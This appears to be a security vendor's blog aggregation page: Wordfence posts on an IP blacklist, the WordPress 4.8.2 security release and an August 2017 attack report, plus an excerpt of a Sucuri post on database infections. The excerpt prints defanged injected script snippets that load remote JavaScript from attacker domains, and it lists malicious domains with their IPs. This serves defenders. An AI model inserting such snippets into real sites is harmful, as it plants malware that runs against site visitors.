Online Services

Tag: WordPress Security

  • Staying Ahead of WordPress Attackers with the Real-Time IP Blacklist

    WordPress sites are under constant attack by criminals around the world. It is unnerving to see them at work, looking for security vulnerabilities to exploit and trying thousands of passwords. And when they are successful, they inflict pain in the form of lost revenue, damaged reputation and clean-up expenses. It’s no wonder that Wordfence users love our blocking features. There’s nothing more satisfying than taking direct action against an evil adversary.

    We like blocking the bad guys too. That’s why we added a real-time IP blacklist for our Premium customers in March. In today’s post we do a deep dive on how the blacklist works. We also find out whether keeping an eye on Live Traffic and Monthly Attack Reports and blocking all the bad guys yourself is a viable alternative to the real-time blacklist. Let’s take a look!

    Real-Time IP Blacklist Stats for August 2017

    For our deep dive we took a look at all of the changes to the blacklist for August 2017 and sliced and diced it for you. The blacklist is updated in real-time using algorithms we have developed that run on our Big Data platform. IPs can be added and removed multiple times during the month, so in the numbers below we included each add and remove in our counts.

    537,951 IPs Added in August

    During the month an average of 17,353 IPs were added to the blacklist each day. That’s over 12 per minute, so if you were to attempt to do this manually you would need to block an IP roughly every 5 seconds. And the IP Blacklist doesn’t sleep, you would need to find a few partners to work with you in shifts, as the updates are happening 7 days a week at all times of the day. And forget about holidays and vacations, the blacklist never stops working.

    This chart shows the number of IPs added by day for the month of August. As you can see, the number of additions dropped off sharply starting on August 27th. As we reported in the August WordPress Attack Report, we saw a dramatic drop-off in brute force attacks on the 27th and blacklist additions essentially mirrored that change.

    545,340 IPs Removed in August

    When we talk about blocking attackers, we almost always talk about adding new IPs to our list. If you’re managing a small list of IPs by hand, that’s probably not going to get you in much trouble. But when you’re managing a big list that’s used by thousands of site-owners worldwide you need to be really careful to remove IPs when they stop attacking. This is especially important because we know that attackers like to use compromised routers to attack WordPress sites, which we wrote about back in April. As soon as it’s clear that an IP has stopped attacking, we immediately remove it from the blacklist.

    In August an average of 17,591 IPs were removed from the blacklist each day. It’s no coincidence that is almost the same as the average number of additions, which was 17,353. Attackers are well aware that IP blacklists exist, so they cycle through IPs quickly in an attempt to evade them. That’s why IP blacklists need to be managed in real-time, blocking the bad guys as quickly as possible when they start attacking.

    The chart below shows the number of IPs removed by day for the month of August. There was a big drop-off in volume beginning on the 28th, the day after we saw volume drop for additions.

    How Long Do IPs Remain on the list?

    To answer this question we looked at IPs that were removed from the list during the month of August and calculated how many days they had been on the list at the time of removal. IPs that were on the list for less than 24 hours are in the “0” row.

    As you can see, a small percentage of IPs spend more than 24 hours on the list. It’s clear that attackers cycle through IPs quickly, most likely because they become much less effective after a day or two of use. The longest an IP was was on the list was 150 days. We also looked at time on the blacklist by number of hours and learned that the average time an IP address spends on the blacklist is just 10 hours.

    Do Attackers Reuse IPs?

    For this question we counted the total number of times IPs were added to the list during the month. It turns out that while attackers do re-use IPs, they don’t as often as you might think. Over two-thirds of the time IPs were added to the blacklist just once.

    Which Countries Dominate the Blacklist?

    Unlike the list of most active countries in our Monthly Attack Reports, which ranks countries based on total attacks, this list looks at the total number IPs that were added to the blacklist during the month for each country. The results might surprise you.

    Russia, the United States and Ukraine consistently dominate the top 3 in our Monthly Attack Reports. From this view, India and Brazil are at the top. In our monthly attack report, India and Brazil are generally towards the bottom of the top 10. Another surprise is that in this view, Ukraine isn’t even in the top 25.

    What this indicates is that India and Brazil see significantly more IPs being added and removed from our blacklist throughout the month. This indicates malicious activity that uses a larger number of IP addresses and that switches IP addresses frequently. This kind of activity is usually seen when attackers are using a botnet – a large number of machines that they control and use to launch a coordinated attack.

    The algorithm that we use to identify malicious IPs and add them to the blacklist includes logic that detects IPs that are part of a botnet and are engaging in a coordinated attack. These can be very hard to detect manually because each individual IP address only generates a small number of attacks on target websites.

    Which Organizations Do The IPs Belong To?

    By looking at the top 25 organizations that our newly blacklisted IPs belonged to in August we see a lot of the same telecom companies that we referenced in our post in April where we talked about the home router botnet attacking WordPress sites. Attackers clearly view vulnerable home routers as an attractive source of new IP addresses to launch attacks from.

    Conclusion

    While the blocking features in Wordfence are very popular and useful, the Real-time IP Blacklist feature included with Wordfence Premium is much more effective at protecting your site. Attackers are aware that IPs are eventually blocked so they cycle through them very quickly. For just $99 per year, which works out to just 27 cents a day, we’ll do the IP blocking for you.

    The post Staying Ahead of WordPress Attackers with the Real-Time IP Blacklist appeared first on Wordfence.

  • WordPress Security Update 4.8.2 – Update Immediately

    WordPress Core version 4.8.2 has just been released. This is a minor update and a security release which means that your sites will update automatically within the next 24 hours unless you have disabled auto updates.

    The update includes a fix to $wpdb->prepare() to help protect against SQLi injection attacks. WordPress core is not vulnerable to SQLi injection attacks directly, but certain plugins and themes may be vulnerable depending on how they use the $wpdb->prepare() function in their code. This fix alone is reason to update immediately to 4.8.2.

    The release fixes five cross site scripting vulnerabilities. These are in:

    • oEmbed discovery
    • The visual editor
    • The plugin editor
    • In template names

    Two path traversal vulnerabilities were fixed. These are:

    • In the file unzipping code
    • In the customizer

    An open redirect was also fixed on the user and term editing screens. 4.8.2 also includes 6 maintenance fixes.

    Now that the existence of these vulnerabilities is public, it becomes much more likely that they will be exploited. It is very important that you update as soon as possible to 4.8.2.

    To update manually now you can sign into your WordPress site, mouse over the Dashboard on the top left and click ‘Updates’ and complete the update process.

    Please share this information with the rest of the community to ensure everyone updates in a timely fashion. Thanks.

    Resources:

    The post WordPress Security Update 4.8.2 – Update Immediately appeared first on Wordfence.

  • The August 2017 WordPress Attack Report

    This is the ninth edition of the WordPress Attack Report series we’ve been publishing since December 2016. You can find reports from the previous months here:

    This report contains the top 25 attacking IPs for the month of August and their details. It also includes charts of brute force and complex attack activity for the same period. We also include the top themes and plugins that were attacked and which countries generated the most attacks for this period.

    The Top 25 Attacking IPs

    The next section is our standard explanation of how the table below works. If you are familiar with our attack reports, you can skip down to the table below this section, which contains the data for August along with some commentary.

    Brief Introduction (If You Are New to Viewing These Reports)

    In the table below, we’ve listed the most active attack IPs for August 2017. Note that the “Attacks” column is in millions, and is the total of all attacks that originated from each IP. Farther right in the table (you may have to scroll right) we break down the attacks into “brute force” attacks and “complex” attacks.

    Brute force attacks are login-guessing attacks. You can learn more about how brute force attacks work in our Learning Center article about them. What we refer to as “complex attacks” are attacks blocked by a rule in the Wordfence firewall.

    We have also included the netblock owner, which is the organization (usually a company) that owns the block of IP addresses that the attack IP belongs to. You can Google the name of each owner for more information. A Google search for any of these IP addresses frequently shows reports of attacks.

    The hostname included is the PTR record (reverse DNS record) that the IP address owner created for the IP, so this is not reliable data, but we still include it for interest. For example, we have seen PTR records that claim an IP is a Tor exit node, when, based on traffic, it is clearly not.

    We also include the city and country, if available. To the far right of the report, we show the date in August when we started logging attacks and the date the attacks stopped.

    The Top Attacking IPs

    The total attacks from the top 25 attacking IPs increased by almost 9% from August.

    Brute force attacks made up 91% of total attacks for August, up from 87% in July, which we had thought was an amazing number. Complex attacks accounted for 9% of the volume.

    The United States dominated the list this month, with 13 of the top 25 IPs. Ukraine had the second most IPs with 7. Turkey was notably absent from the top 25 this month.

    Brute Force Attacks on WordPress in August 2017

    In the chart below, we show the number of daily brute force attacks on the sites we monitor for the month of August.

     

    The average number of daily brute force attacks was down 9% from last month after growing the previous two months. Daily attack volumes were stable for most of the month, but plummeted on the 27th, dropping by roughly half for the final five days.

    Complex Attacks on WordPress in August 2017

    In the graph below, we show the daily complex attacks (attacks that attempt to exploit a security vulnerability) for August.

    Average daily attack volume for August was up 1% from August for the sites that we protect at 7.8 million. Daily volume was stable throughout the month, similar to what we saw in July.

    Attacks on Themes in August 2017

    The table below shows the total number of attacks on WordPress themes. We identify each theme using its slug, which is the directory where it is installed in WordPress.

    As usual we saw a lot of movement in the top 25 in August compared to July. The biggest move  on the list was the ‘twentyseventeen’ theme, moving up 95 spots to #2. Another big mover, the ‘sketch’ theme, moved up 34 spots to #6. Looking at the attacks involving both, they appear to be probe requests, looking for vulnerabilities that can be exploited in a subsequent request. We do not believe the attackers were attempting to compromise a vulnerability in these themes directly; rather, they were referencing very common themes in the probe requests.

    Another big mover on the list is the ‘nemesis’ theme, a premium WordPress theme that has been around since 2012. All of those attacks attempted to exploit a vulnerability in TimThumb versions <= 1.33, so we assume that the the theme included a vulnerable version of TimThumb some time in the past. The attacks appear to be coming from at least one large botnet as we saw attacks from 1637 unique IP addresses.

    Attacks on Plugins in August 2017

    The table below shows the total number of attacks on WordPress plugins. As with themes, we identify each plugin by its unique slug, which is the unique installation directory where the plugin is installed.

    As usual the top 25 list for plugins was pretty stable at the top with quite a bit of movement toward the bottom. There were 8 plugins on the list that weren’t in the top 25 in July. We looked into the details behind the first big mover toward the top of the list, ‘formcraft’. Almost all of the attacks were malicious file upload attacks, likely attempting to exploit a vulnerability that was made public in February of 2016.

    We took a look at the attacks on the next highest big mover, ‘easyrotator-for-wordpress’, and found that almost all of the requests appear to be attempting to probe for and in some cases send commands to back door files. Over 30 thousand unique sites were hit with these attacks, so we assume that the attacker was looking for backdoors that another attacker had already installed versus communicating with back doors they had installed themselves.

    The next big mover on the list, ‘hb-audio-gallery-lite’, moved up as a result of attempts to exploit a vulnerability that has been public since March of 2016. Over 89% of the attacks originated from just two IP addresses.

    Another big mover, ‘rb-agency’, saw attempts to exploit a vulnerability made public in September of 2016. Interestingly, over 91% of the attacks originated from the same two IP addresses responsible for the majority of the ‘hb-audio-gallery-lite’ attacks.

    Attacks by Country for August 2017

    The table below shows the top 25 countries from which attacks originated in the month of August on WordPress sites that we monitor.

    The top of the list was pretty stable, with the United States and Russia trading places at the top and the Ukraine holding at number 3.

    Conclusion

    That concludes our August 2017 WordPress attack report. It was nice to see attack volumes drop off at the end of the month, and we hope that trend continues through the month of September.

    The post The August 2017 WordPress Attack Report appeared first on Wordfence.

  • Old Themes, Abandoned Scripts and Pitfalls of Cleaning Serialized Data

    Old Themes, Abandoned Scripts and Pitfalls of Cleaning Serialized Data

    Old Themes, Abandoned Scripts and Pitfalls of Cleaning Serialized Data

    Over the summer we’ve seen waves of WordPress database infections that use vulnerabilities in tagDiv’s Newspaper/Newsmag themes or InterconnectIT Search and Replace scripts (searchreplacedb2.php).

    The injections range from ad scripts coming from established ad networks like shorte.st to new domains created specifically for those attacks.

    Typical injected scripts look like this:

    <s cript type='text/javascript' src='hxxps://con1.sometimesfree[.]biz/c.js’>

    Or:

    var t = document.createElement(“script”);
    t.type = “text/javascript”; t.src = “hxxps://src[.]dancewithme[.]biz/src.js“;
    document.head.appendChild(t);

    Or:

    The most noticeable malicious URLs that we’ve seen lately are:

    • con1.sometimesfree[.]biz/c.js (185.82.217.166 Bulgaria)
    • java.sometimesfree[.]biz/counter.js (185.82.217.166 Bulgaria)
    • javascript.sometimesfree[.]biz/script.js (185.82.217.166 Bulgaria)
    • js.givemealetter[.]biz/script.js (185.82.217.166 Bulgaria)
    • go.givemealetter[.]biz/click.html (185.82.217.166 Bulgaria)
    • traffictrade[.]life/scripts.js (200.7.105.43 United Kingdom)
    • blue.traffictrade[.]life/main.js (200.7.105.43 United Kingdom)
    • js.trysomethingnew[.]eu/analytics.js (94.156.144.19 Bulgaria)
    • get.simplefunsite[.]info/rw.js (won’t resolve atm)
    • post.simplefunsite[.]info/go.php?rewrite=81 (won’t resolve atm)
    • src.dancewithme[.]biz/src.js (185.159.82.2 – Russia)
    • go.dancewithme[.]biz/red.php (185.159.82.2 – Russia)

    They are all new domains registered specifically for this attack:

    • traffictrade[.]life – created on July 3rd, 2017
    • trysomethingnew[.]eu – created on Aug 11th, 2017
    • sometimesfree[.]biz – created on August 22nd, 2017
    • givemealetter[.]biz – created on August 27th, 2017
    • simplefunsite.info – created on September 2nd, 2017
    • dancewithme[.]biz – created on September 5th, 2017

    Malware in WordPress Database

    In most cases the scripts are injected right before <a href tags in the post content (wp_posts), meaning that webmasters may need to remove multiple injected scripts from hundreds of posts in the database – definitely not a task you want to do manually!

    Continue reading Old Themes, Abandoned Scripts and Pitfalls of Cleaning Serialized Data at Sucuri Blog.